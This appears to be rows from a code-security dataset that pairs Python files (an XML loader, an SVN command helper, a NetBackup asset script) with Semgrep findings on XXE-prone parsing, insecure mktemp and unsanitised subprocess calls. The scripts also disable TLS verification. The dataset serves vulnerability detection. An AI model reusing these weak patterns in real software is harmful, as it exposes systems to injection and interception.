"cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/8212c7c978961007.py", "start": {"line": 38, "col": 17, "offset": 1261}, "end": {"line": 38, "col": 52, "offset": 1296}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 5 | true | [
"CWE-611",
"CWE-611"
] | [
"rules.python.lang.security.use-defused-xml",
"rules.python.lang.security.use-defused-xml-parse"
] | [
"security",
"security"
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH"
] | [
6,
16
] | [
6,
16
] | [
1,
12
] | [
35,
29
] | [
"A04:2017 - XML External Entities (XXE)",
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.",
"The native Python `xml` library is vulnerable to XML Exter... | [
7.5,
7.5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | voc_annotation.py | /voc_annotation.py | 13488151126/mobilenet-yolov4-lite-tf2-main | MIT | |
2024-11-18T19:07:32.040998+00:00 | 1,634,577,439,000 | 89c8f828368e77b44a3f6b88b1de2193471e54ba | 3 | {
"blob_id": "89c8f828368e77b44a3f6b88b1de2193471e54ba",
"branch_name": "refs/heads/master",
"committer_date": 1634577439000,
"content_id": "8de9a58d819f2cdfac881a29f43c4d159c6d6b61",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "5522a0d164bd37a1fb512b12baa4c7f9ae9d10fc",
"extension": "py",
"filename": "sca_xml.py",
"fork_events_count": 4,
"gha_created_at": 1491583108000,
"gha_event_created_at": 1509756377000,
"gha_language": "Python",
"gha_license_id": null,
"github_id": 87566620,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2174,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/sca/sca_events/sca_xml.py",
"provenance": "stack-edu-0054.json.gz:579268",
"repo_name": "open-power-sdk/source-code-advisor",
"revision_date": 1634577439000,
"revision_id": "f39d6f59bfd33e5ac1148e1e9b72f472c8429252",
"snapshot_id": "a542645c44da009ac858480ad7075f3cdbe0d901",
"src_encoding": "UTF-8",
"star_events_count": 10,
"url": "https://raw.githubusercontent.com/open-power-sdk/source-code-advisor/f39d6f59bfd33e5ac1148e1e9b72f472c8429252/sca/sca_events/sca_xml.py",
"visit_date": "2021-10-20T14:05:23.911629"
} | 2.65625 | stackv2 | # -*- coding: utf-8 -*-
"""
Copyright (C) 2017 IBM Corporation
Licensed under the Apache License, Version 2.0 (the “License”);
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an “AS IS” BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Contributors:
* Diego Fernandez-Merjildo <merjildo@br.ibm.com>
"""
import xml.etree.ElementTree as elemTree
import os
DIR_PATH = os.path.dirname(os.path.realpath(__file__))
LOCAL_XML_SCA = DIR_PATH + "/sca_events.xml"
class Event(object):
''' Class to hold SCA events'''
name = ''
problem = ''
solution = ''
marker_id = ''
def __init__(self, name, problem, solution, marker_id):
self.name = name
self.problem = problem
self.solution = solution
self.marker_id = marker_id
def get_name(self):
''' Function to get event name '''
return self.name
def get_problem(self):
''' Function to get problem description'''
return self.problem
def get_solution(self):
''' Function to get solution description'''
return self.solution
def get_marker_id(self):
'''Function to get marker'''
return self.marker_id
class ScaXml(object):
''' Class to parse SCA events'''
event_list = []
def __init__(self):
self.load_xml(LOCAL_XML_SCA)
def load_xml(self, file_name):
'''Function to load SCA events'''
tree = elemTree.parse(file_name)
root = tree.getroot()
for evnt in root.iter('event'):
event = Event(evnt.attrib['name'], evnt.attrib['problem'],
evnt.attrib['solution'], evnt.attrib['marker_id'])
self.event_list.append(event)
def get_event_list(self):
'''Function to get SCA events list'''
return self.event_list
| 76 | 27.5 | 76 | 14 | 479 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_5c0bbbade515abd7_bd7c9476", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 21, "line_end": 21, "column_start": 1, "column_end": 41, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmppq52ww6s/5c0bbbade515abd7.py", "start": {"line": 21, "col": 1, "offset": 673}, "end": {"line": 21, "col": 41, "offset": 713}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.use-defused-xml-parse_5c0bbbade515abd7_5f93b292", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml-parse", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "remediation": "defusedxml.etree.ElementTree.parse(file_name)", "location": {"file_path": "unknown", "line_start": 67, "line_end": 67, "column_start": 16, "column_end": 41, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml-parse", "path": "/tmp/tmppq52ww6s/5c0bbbade515abd7.py", "start": {"line": 67, "col": 16, "offset": 1780}, "end": {"line": 67, "col": 41, "offset": 1805}, "extra": {"message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "fix": "defusedxml.etree.ElementTree.parse(file_name)", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-611",
"CWE-611"
] | [
"rules.python.lang.security.use-defused-xml",
"rules.python.lang.security.use-defused-xml-parse"
] | [
"security",
"security"
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH"
] | [
21,
67
] | [
21,
67
] | [
1,
16
] | [
41,
41
] | [
"A04:2017 - XML External Entities (XXE)",
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.",
"The native Python `xml` library is vulnerable to XML Exter... | [
7.5,
7.5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | sca_xml.py | /sca/sca_events/sca_xml.py | open-power-sdk/source-code-advisor | Apache-2.0 | |
2024-11-18T19:07:32.627571+00:00 | 1,411,871,637,000 | 471930dfe54c2c9c781129294019eed1344461fc | 3 | {
"blob_id": "471930dfe54c2c9c781129294019eed1344461fc",
"branch_name": "refs/heads/master",
"committer_date": 1411871637000,
"content_id": "2ed75267959fa7b79d9d1299ec39ddd8cf7b38bc",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "da111338164bd910317c61c844cb71e2cdb55c03",
"extension": "py",
"filename": "svn_common.py",
"fork_events_count": 1,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 24482850,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2061,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/src/svn_common.py",
"provenance": "stack-edu-0054.json.gz:579272",
"repo_name": "jiangerji/svn-tools",
"revision_date": 1411871637000,
"revision_id": "fea5d3dec588da38ea5cea8077e92d532df98fbc",
"snapshot_id": "6b731b47fccf8d766e88eda773bbaef8491ca9c7",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/jiangerji/svn-tools/fea5d3dec588da38ea5cea8077e92d532df98fbc/src/svn_common.py",
"visit_date": "2020-04-06T03:42:53.033411"
} | 2.828125 | stackv2 | #encoding=utf-8
import sys
import os
import commands
import platform
import subprocess
import tempfile
#获取脚本文件的当前路径
def cur_file_dir():
#获取脚本路径
path = sys.path[0]
#判断为脚本文件还是py2exe编译后的文件,如果是脚本文件,则返回的是脚本的目录,
#如果是py2exe编译后的文件,则返回的是编译后的文件路径
if os.path.isdir(path):
return path
elif os.path.isfile(path):
return os.path.dirname(path)
"""
执行command,并打印log
"""
def execCommand(command, tag=None):
if tag != None:
print "exec command:", tag
print " execCommand:", command
state = None
output = None
if platform.system() != 'Windows':
(state, output) = commands.getstatusoutput(command)
else:
outputF = tempfile.mktemp()
errorF = tempfile.mktemp()
state = subprocess.call(command, stdout=open(outputF, "w"), stderr=open(errorF, "w"))
output = "".join(open(outputF, "r").readlines())
output += "".join(open(errorF, "r").readlines())
print " state:", state
if state != 0:
# 出现错误
print (output.decode('gbk', 'ignore'), "error")
else:
# 正确
# print (output, tag)
pass
return state, output
"""
获取当前目录的svn url地址
"""
def get_svn_url(dirpath):
root_tag = "Repository Root:"
relative_tag = "Relative URL:"
root_svn_url = None
relative_svn_url = None
if os.path.isdir(dirpath):
command = "svn info " + dirpath
state, output = execCommand(command)
for line in output.split("\n"):
if line.startswith(root_tag):
root_svn_url = line[len(root_tag):].strip()
if line.startswith(relative_tag):
relative_svn_url = line[len(relative_tag):].strip()
return root_svn_url, relative_svn_url
if __name__ == "__main__":
reload(sys)
sys.setdefaultencoding('utf-8')
print get_svn_url(r"E:\Tmp\svn")
| 77 | 23.27 | 93 | 18 | 508 | python | [{"finding_id": "semgrep_rules.python.lang.correctness.tempfile.tempfile-insecure_48f24731f48c693d_8d6449d6", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.tempfile.tempfile-insecure", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Use tempfile.NamedTemporaryFile instead. From the official Python documentation: THIS FUNCTION IS UNSAFE AND SHOULD NOT BE USED. The file name may refer to a file that did not exist at some point, but by the time you get around to creating it, someone else may have beaten you to the punch.", "remediation": "", "location": {"file_path": "unknown", "line_start": 33, "line_end": 33, "column_start": 19, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.tempfile.tempfile-insecure", "path": "/tmp/tmppq52ww6s/48f24731f48c693d.py", "start": {"line": 33, "col": 19, "offset": 848}, "end": {"line": 33, "col": 36, "offset": 865}, "extra": {"message": "Use tempfile.NamedTemporaryFile instead. From the official Python documentation: THIS FUNCTION IS UNSAFE AND SHOULD NOT BE USED. The file name may refer to a file that did not exist at some point, but by the time you get around to creating it, someone else may have beaten you to the punch.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.tempfile.tempfile-insecure_48f24731f48c693d_e3999696", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.tempfile.tempfile-insecure", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "Use tempfile.NamedTemporaryFile instead. From the official Python documentation: THIS FUNCTION IS UNSAFE AND SHOULD NOT BE USED. The file name may refer to a file that did not exist at some point, but by the time you get around to creating it, someone else may have beaten you to the punch.", "remediation": "", "location": {"file_path": "unknown", "line_start": 34, "line_end": 34, "column_start": 19, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.tempfile.tempfile-insecure", "path": "/tmp/tmppq52ww6s/48f24731f48c693d.py", "start": {"line": 34, "col": 19, "offset": 884}, "end": {"line": 34, "col": 36, "offset": 901}, "extra": {"message": "Use tempfile.NamedTemporaryFile instead. From the official Python documentation: THIS FUNCTION IS UNSAFE AND SHOULD NOT BE USED. The file name may refer to a file that did not exist at some point, but by the time you get around to creating it, someone else may have beaten you to the punch.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_48f24731f48c693d_5f586160", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 36, "line_end": 36, "column_start": 17, "column_end": 94, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/48f24731f48c693d.py", "start": {"line": 36, "col": 17, "offset": 919}, "end": {"line": 36, "col": 94, "offset": 996}, "extra": {"message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_48f24731f48c693d_8e9d5345", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 36, "line_end": 36, "column_start": 49, "column_end": 67, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/48f24731f48c693d.py", "start": {"line": 36, "col": 49, "offset": 951}, "end": {"line": 36, "col": 67, "offset": 969}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_48f24731f48c693d_1dcf50e8", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 36, "line_end": 36, "column_start": 76, "column_end": 93, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/48f24731f48c693d.py", "start": {"line": 36, "col": 76, "offset": 978}, "end": {"line": 36, "col": 93, "offset": 995}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_48f24731f48c693d_f5ef1b4a", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 37, "line_end": 37, "column_start": 26, "column_end": 44, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/48f24731f48c693d.py", "start": {"line": 37, "col": 26, "offset": 1022}, "end": {"line": 37, "col": 44, "offset": 1040}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_48f24731f48c693d_3833d526", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 38, "line_end": 38, "column_start": 27, "column_end": 44, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/48f24731f48c693d.py", "start": {"line": 38, "col": 27, "offset": 1080}, "end": {"line": 38, "col": 44, "offset": 1097}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 7 | true | [
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
36
] | [
36
] | [
17
] | [
94
] | [
"A01:2017 - Injection"
] | [
"Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."
] | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | svn_common.py | /src/svn_common.py | jiangerji/svn-tools | Apache-2.0 | |
2024-11-18T19:07:34.600652+00:00 | 1,634,217,370,000 | f18682675aa8a7c5d73324f3ade08edf16eef58c | 3 | {
"blob_id": "f18682675aa8a7c5d73324f3ade08edf16eef58c",
"branch_name": "refs/heads/master",
"committer_date": 1634217370000,
"content_id": "4ce3d38d6c4d9684ca8289f9266795873af52cb4",
"detected_licenses": [
"MIT"
],
"directory_id": "e8f3ec89630aa5a5b5a4eeedacfac3e55f105264",
"extension": "py",
"filename": "get_mssql_assets.py",
"fork_events_count": 0,
"gha_created_at": 1576163716000,
"gha_event_created_at": 1591388017000,
"gha_language": "PowerShell",
"gha_license_id": "MIT",
"github_id": 227635274,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4756,
"license": "MIT",
"license_type": "permissive",
"path": "/snippets/python/get_mssql_assets.py",
"provenance": "stack-edu-0054.json.gz:579292",
"repo_name": "ntbritton/netbackup-api-code-samples",
"revision_date": 1634217370000,
"revision_id": "b6ef1b79a133f35181506a2688711d391e9d362a",
"snapshot_id": "4dded94195cce248bd68dc98f7730b41d03b55d2",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/ntbritton/netbackup-api-code-samples/b6ef1b79a133f35181506a2688711d391e9d362a/snippets/python/get_mssql_assets.py",
"visit_date": "2021-10-23T06:38:23.252915"
} | 2.625 | stackv2 | ## The script can be run with Python 3.5 or higher version.
## The script requires 'requests' library to make the API calls. The library can be installed using the command: pip install requests.
import api_requests
import argparse
import requests
def get_usage():
return ("\nThe command should be run from the parent directory of the 'assets' directory:\n"
"python -Wignore -nbserver <server> -username <username> -password <password> "
"-domainName <domainName> -domainType <domainType> [-assetType <instance|database|availabilityGroup>] [-assetsFilter <filter criteria>]\n"
"Optional arguments:\n"
"assetType - instance or database or availabilityGroup. Default is 'instance'.\n"
"assetsFilter - OData filter to filter the returned assets (Instance, AvailabilityGroup or database). If not specified, returns all the assets.\n")
parser = argparse.ArgumentParser(usage = get_usage())
parser.add_argument('-nbserver', required=True)
parser.add_argument('-username', required=True)
parser.add_argument('-password', required=True)
parser.add_argument('-domainName', required=True)
parser.add_argument('-domainType', required=True)
parser.add_argument('-assetType', default="instance", choices=['instance', 'database', 'availabilityGroup'])
parser.add_argument('-assetsFilter', default="")
args = parser.parse_args()
nbserver = args.nbserver
username = args.username
password = args.password
domainName = args.domainName
domainType = args.domainType
assetType = args.assetType
assetsFilter = args.assetsFilter
base_url = "https://" + nbserver + "/netbackup"
mssql_assets_url = base_url + "/asset-service/workloads/mssql/assets"
default_sort = "commonAssetAttributes.displayName"
print("\nExecuting the script...")
jwt = api_requests.perform_login(username, password, base_url, domainName, domainType)
print("\nGetting MSSQL {} assets...".format(assetType))
if assetType == "instance":
assetTypeFilter = "(assetType eq 'instance')";
print("Printing the following MSSQL Instance details: Instance Name, Id, State\n")
elif assetType == "database":
assetTypeFilter = "(assetType eq 'database')";
print("Printing the following MSSQL details: DatabaseName, Id, InstanceName, AG, assetProtectionDetails\n")
elif assetType == "availabilityGroup":
assetTypeFilter = "(assetType eq 'availabilityGroup')";
print("Printing the following MSSQL Availabilitygroup details: AvailabilityGroup Name, Server \n")
if assetsFilter != "":
assetsFilter = assetsFilter + " and " + assetTypeFilter
else:
assetsFilter = assetTypeFilter
headers = {'Authorization': jwt}
def get_mssql_assets():
offset = 0
next = True
while next:
queryparams = {'page[offset]':offset, 'filter':assetsFilter, 'sort':default_sort}
assets_response = requests.get(mssql_assets_url, headers=headers, params=queryparams, verify=False)
assets = assets_response.json()
if assets_response.status_code != 200:
print("Mssql Assets API returned status code: {}, response: {}\n".format(assets_response.status_code, assets_response.json()))
raise SystemExit()
print_assets(assets['data'])
offset += assets['meta']['pagination']['limit']
next = assets['meta']['pagination']['hasNext']
if len(assets['data']) == 0:
print("No assets returned.")
def print_assets(assets_data):
for asset in assets_data:
asset_attrs = asset['attributes']
asset_common_attrs = asset_attrs['commonAssetAttributes']
ag_attrs = []
asset_protection_plans = []
if "activeProtection" in asset_common_attrs :
asset_protection_list = asset_common_attrs['activeProtection']['protectionDetailsList']
for asset_protection in asset_protection_list:
if (asset_protection['isProtectionPlanCustomized']) == "YES":
asset_protection_plans.append(asset_protection['protectionPlanName'])
else:
asset_protection_plans.append(asset_protection['policyName'])
if "agGroupId" in asset_attrs :
ag_attrs.append(asset_attrs['agName'])
if assetType == "instance":
print(asset_common_attrs['displayName'], asset['id'], asset_attrs['instanceState'], sep="\t")
elif assetType == "database":
print(asset_common_attrs['displayName'], asset['id'], asset_attrs['instanceName'], ag_attrs, asset_protection_plans, sep="\t")
elif assetType == "availabilityGroup":
print(asset_common_attrs['displayName'], asset['id'], asset_attrs['clusterName'], asset_protection_plans, sep="\t")
get_mssql_assets()
print("\nScript completed!\n")
